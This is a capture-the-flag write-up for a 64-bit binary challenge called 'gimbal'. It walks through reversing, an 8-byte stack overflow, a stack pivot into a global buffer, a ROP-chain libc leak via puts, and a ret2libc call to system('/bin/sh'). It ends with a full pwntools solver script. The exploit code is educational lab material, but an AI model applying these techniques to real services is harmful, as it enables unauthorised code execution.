gimbal

Keeping it steady.

10 min read


Table of Contents

[ + ] Overview
[ + ] Reversing
[ + ] Pwning
[ + ] Solution

[ + ]Overview

Looks like we are prompted twice, then the program exits.

Image

Here are the protections on the binary:

RELRO                                                                               
Partial RELRO   

STACK CANARY
No canary found   

NX
NX enabled    

PIE
No PIE          

SELFRANDO
No Selfrando          

Clang CFI
No Clang CFI found   

SafeStack
No SafeStack found   

Luckily, the binary protections are in our favour.

Let's throw it in IDA to get a better look at what's going on.

[ + ]Reversing

The meat of the challenge is happening in these three sub-routines - main, vuln, and do_it.

Image

main does some standard initialization, then calls vuln.

Image

Now taking a look at vuln. we can see the following:

  1. 0x400 bytes are allocated on the stack.
  2. what is your name? is printed.
  3. 0x1FFF bytes are read from the console into s.
  4. 0x400 bytes from s are moved into some area in memory called name.
  5. eax is set to 0 and do_it is called.
  6. Finally the function exits.
Image

This is where the fun begins:

  1. 0x20 bytes are allocated for the stack (size of buf array).
  2. Wait, who were you again? is printed to the console.
  3. 0x28 bytes are read from stdin using read.
  4. kthnxbye is printed.
  5. Finally we exit.
Image

So we can clearly see that we have a very limited overflow vulnerability. We can only overflow buf by 0x8 bytes. This means we have just enough space to overwrite the stack base pointer.

Let's start pwning this thing.

[ + ]Pwning

To start we can just do some high-level recon on where things are being stored and how everything functions while debugging.

Let's start with vuln sub-routine after the first prompt what is your name? .

Image

Here we see that if we send a large amount of As, after moving to name, everything is stored in a r/w section in memory at the base address 0x601080. This is good to know. Moving on, let's see what's going on in the do_it function before and after the second prompt Wait, who were you again? .

Image

Here we take a closer look at the base pointer and note that there are some remaining 0x41s from our previous input after the allocated space on the stack, as well some addresses in the allocated space. Take note of the address stored at 0x7FFFFFFFC380.

Image

Once we overflow buf with A's, we can see that the address at 0x7FFFFFFFC380 was overwritten.

Image

If we continue a bit, we can see that after the leave instruction, 0x4141414141414141 is moved in rbp. Interesting, let's continue.

Image

If we return from the do_it sub-routine and continue through the vuln sub-routine, we can see that we segfault during the leave instruction.

Image

Why did we segfault here? It's because the leave instruction is actually a high-level instruction for the following:

mov   esp, ebp
pop   ebp

What this means is that when ebp is popped, it attempts to be popped to the stack address of 0x4141414141414141 which is obviously not possible.

Let's try this again, accept instead of sending As for the second prompt, we will specify the address of name (0x601080) where our As are stored after the first prompt.

Here is the before:

Image

Here is after we send the address of name:

Image

As you can see, rbp was overwritten and now points to 0x601080 where all of our As are. If we continue until we exit do_it and reach the ret instruction in vuln, we will see that we don't segfault on the leave instruction, and that rsp now points to name + 0x8.

Image

Here it is a little clearer:

Image

Why is it pointing to name + 0x8? Remember when I described the leave instruction? Well the pop ebp instruction put the value of ebp to the top of the stack and incremented the stack pointer. This is important to keep in mind going forward.

Now, unfortunately the name address space is only r/w and we can't execute from there. If it was the case, we may be able to drop our shellcode directly there and find a way to execute it, but that's not the case.

Instead we need to create a ROP chain to get a shell. Ideally, we need to be able to call system from libc. This would be really easy if it was in the global offset table, and if we had a /bin/sh string laying around in the binary itself, but we don't, so we need to leak libc.

In order to do this, we need to be able to call the following instructions:

  1. ret - For stack alignment.
  2. pop rdi; ret - to put the value at an address we want to leak on the stack.
  3. libc address - The address of the value we want to leak.
  4. puts - In order to print the libc address.
  5. Some return address after we leak libc so that the program doesn't segfault.

Lets not worry about address 5 yet.

To find some of these addresses, we can use the tool ROPgadget which will find gadgets for us.

Here we have pop rdi; ret and ret.

Image

Then we can use an address in the global offset table to leak a libc address. Any of these work, but I chose 0x601018 to leak the puts address.

Image

However, we can't use the 0x601018 address to call puts since 0x601018 holds the address to puts and does not call puts itself. Instead we need to find an address to go to which will call puts. We can instead use puts@plt which is defined in the procedure linkage table:

Image

We see that at 0x400520 there is a sub-routine wrapper for the call to puts, by using the instruction jmp 0x601018. If you care curious about the plt or got this is a pretty good read. After all of that, we have the following addresses lined up:

  1. ret - 0x400501
  2. pop rdi; ret - 0x400793
  3. libc address - 0x601018
  4. puts - 0x400520

Before finding somewhere to return to, let's first test that we can leak the puts address:

Image

Great, it works. Let's look for somewhere to return to, we have a few options.

We want to be able to go back and exploit the vulnerability again to be able to get our shell. The main problem is that now we have a make-shift stack in name. This is a problem because certain libc sub-routines will try to allocate too much space (which can't be done so it will lead to a segfault). So we need to avoid those sub-routines as much as possible - for example, the init sub-routine in main will cause issues for us, so we can't jump there.

Instead, let's look at returning directly to somewhere in vuln.

Ideally, we want to avoid the box in red below. As you can see, a ton of space is allocated and written to the stack. We wan't to avoid this since our "stack" will never be capable of holding 0x400 bytes, and it will cause a segfault when 0x400 bytes are attempted to be written to another area in memory other than name.

Instead, we can jump to 0x400700 since we will be avoiding all of that.

Image

What about do_it? Well, we can see we have a problem area (highlighted in red). Again, this is because we allocate some space on the stack, and call puts. We will run into issues with this later on in the exploit :).

Image

By jumping to this address however, we won't be able to move a large amount of addresses into name in the second stage of the exploit like we did in the first stage since we are skipping the beginning of vuln, rather, we will fill the buf array of length 0x20 with 4 addresses (which is more than enough), and use the overflow address to point to the start of buf. This works since buf which is on the "stack" is actually within name.

Here is a diagram:

Image

For now, the following payload is fine:

ret = 0x400501
pop_rdi = 0x400793
libc_leak = 0x601018
puts = 0x400520
return_vuln = 0x400700
buf = p64(ret) + p64(pop_rdi) + p64(libc_leak) + p64(puts) + p64(return_vuln)

Let's test it:

Image

Alright, we have a segfault after calling puts. Like I was saying, we will run into issues with certain libc functions. To get around this, we can add some space before our first payload. That means we need to take this into account when exploiting the overflow. The first stage of he exploit now looks like this:

# Set the stack to offset by 8000 bytes, less would work too.
stack_space = 1000
stack_location = 0x601078 + (0x8 * (stack_space))

# Stack location
stack = p64(stack_location)

# payload 1
# addresses
ret = 0x400501
pop_rdi = 0x400793
libc_leak = 0x601018
puts = 0x400520
return_vuln = 0x400700

# empty space
empty_space = p64(0) * stack_space

buf = empty_space + p64(ret) + p64(pop_rdi) + p64(libc_leak) + \
        p64(puts) + p64(return_vuln)

# overflow - fill array with 0s then overflow with "stack" location
overflow = p64(0) * 4 + stack

Now let's focus on the second stage of the exploit, getting a shell. Here are the addresses that we will need to successfully get a shell:

  1. ret - For stack alignment.
  2. pop rdi; ret - to put the value at an address we want to leak on the stack.
  3. /bin/sh string address - The address of the value we want to pass to system.
  4. system - The address of system in libc.

This is where the leak comes in handy. We can calculate the offset from the puts leak to find the libc base then use this base address to calculate the address of system.

For the puts and system offsets, we can use gdb with libc.so.6:

Image

For /bin/sh we can use ROPgadget to get the offset:

Image

For convenience:

gdb -q /tmp/lima/gimbal/libc.so.6
(gdb) print puts
(gdb) print system
ROPgadget --binary /tmp/lima/gimbal/libc.so.6 --string "/bin/sh"

So now we have the following:

  1. ret - 0x400501
  2. pop rdi; ret - 0x400793
  3. /bin/sh string address - puts leak - 0x6f690 + 0x18cd57
  4. system - puts leak - 0x6f690 + 0x45390

Our second payload will look as follows:

# payload 2
# addresses
# ret = 0x400501
# pop_rdi = 0x400793

bin_sh = leak - 0x6f690 + 0x18cd57
system = leak - 0x6f690 + 0x45390

buf = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(stack_location - 0x8)

We are adding subtracting 0x8 from the stack_location to ensure that the ret call is hit, otherwise, after the leave instruction we would execute directly pop_rdi because of the increment.

That's all! After putting the pieces together we should get our shell.

[ + ]Solution

Image
 Solver
from pwn import *
from pwnlib.util.packing import *

# Context
context.arch = 'amd64'
context.log_level = 'DEBUG'

# Main vars
NETID = ''
HOST, PORT = '', 0


def pwn():
    conn = process(['/tmp/lima/gimbal/gimbal_patched'])
    # Set the stack to offset by 8000 bytes, less would work too.
    stack_space = 1000
    stack_location = 0x601078 + (0x8 * (stack_space))

    # Stack location
    stack = p64(stack_location)

    # payload 1
    # addresses
    ret = 0x400501
    pop_rdi = 0x400793
    libc_leak = 0x601018
    puts = 0x400520
    return_vuln = 0x400700

    # empty space
    empty_space = p64(0) * stack_space

    buf = empty_space + p64(ret) + p64(pop_rdi) + p64(libc_leak) + p64(puts) + p64(return_vuln)

    # overflow - fill array with 0s then overflow with "stack" location
    overflow = p64(0) * 4 + stack

    conn.recvuntil('what is your name?\n')
    conn.sendline(buf)
    conn.recvuntil('Wait, who were you again?\n')
    conn.send(overflow)
    conn.recvline()

    # conn.interactive()

    address = conn.recvline()[:-1]
    leak = u64(address.ljust(8, b'\x00'))
    log.info("puts leak - " + hex(leak))

    base = leak - 0x6f690
    bin_sh = base + 0x18cd57
    system = base + 0x45390

    log.info("base - " + hex(base))
    log.info("/bin/sh - " + hex(bin_sh))
    log.info("system - " + hex(system))

    buf = p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(stack_location - 0x8)

    conn.sendline(buf)
    conn.recvline()
    conn.interactive()


if __name__ == "__main__":
    pwn()